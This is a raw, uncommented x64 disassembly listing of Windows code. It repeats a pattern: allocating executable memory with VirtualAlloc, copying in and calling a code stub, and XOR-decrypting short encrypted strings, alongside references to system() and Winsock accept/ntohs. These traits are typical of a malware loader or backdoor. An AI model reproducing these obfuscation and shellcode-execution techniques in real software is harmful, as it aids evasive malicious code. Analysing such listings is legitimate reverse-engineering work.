mov rax, qword [0x1401012c0]
test rax, rax
je 0x140008ee0
mov rdx, rbx
cmp rax, rsi
je 0x140008ecf
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140008eb7
jmp 0x140008ee0
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140008fc1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140008f09
mov r8, rbx
jmp 0x140008fa0
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140008f12
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0xa0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x820]
call fcn.140022f30
nop
lea rcx, [rbp + 0x800]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xa8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x840]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5af8]
lea rcx, [rsp + 0x30]
call fcn.14001eb20
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140009192
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000915d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140009070
jmp 0x140009192
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140009160
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x860]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0xb0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000921d
mov rdx, rbx
cmp rax, rsi
je 0x14000920c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x1400091f4
jmp 0x14000921d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400092ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140009246
mov r8, rbx
jmp 0x1400092de
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140009250
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0xb0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x860]
call fcn.140022f30
nop
lea rcx, [rbp + 0x840]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xb8]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x880]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5d30]
lea rcx, [rsp + 0x31]
call fcn.14001eb60
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400094c3
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000948e
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400093a1
jmp 0x1400094c3
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140009491
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x8a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0xc0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000954e
mov rdx, rbx
cmp rax, rsi
je 0x14000953d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140009525
jmp 0x14000954e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000962f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140009577
mov r8, rbx
jmp 0x14000960e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140009580
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0xc0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x8a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x880]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xc8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x8c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5d68]
lea rcx, [rsp + 0x32]
call fcn.14001eba0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400097f3
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400097be
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400096d1
jmp 0x1400097f3
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400097c1
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x8e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0xd0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000987e
mov rdx, rbx
cmp rax, rsi
je 0x14000986d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140009855
jmp 0x14000987e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000995f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400098a7
mov r8, rbx
jmp 0x14000993e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400098b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0xd0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x8e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x8c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xd8]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x900]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5da0]
lea rcx, [rsp + 0x33]
call fcn.14001ebe0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140009b23
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140009aee
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140009a01
jmp 0x140009b23
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140009af1
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x920]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140009bae
mov rdx, rbx
cmp rax, rsi
je 0x140009b9d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140009b85
jmp 0x140009bae
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140009c8f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140009bd7
mov r8, rbx
jmp 0x140009c6e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140009be0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0xe0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x920]
call fcn.140022f30
nop
lea rcx, [rbp + 0x900]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xe8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x940]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x65c8]
lea rcx, [rsp + 0x34]
call fcn.14001ec20
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x140009e65
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140009e23
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140009d30
cmp r8d, 0x39
jge 0x140009e65
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140009e30
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x960]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140009ef0
mov rdx, rbx
cmp rax, rsi
je 0x140009edf
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140009ec7
jmp 0x140009ef0
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140009fd1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140009f19
mov r8, rbx
jmp 0x140009fb0
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140009f22
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0xf0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x960]
call fcn.140022f30
nop
lea rcx, [rbp + 0x940]
call fcn.140022f30
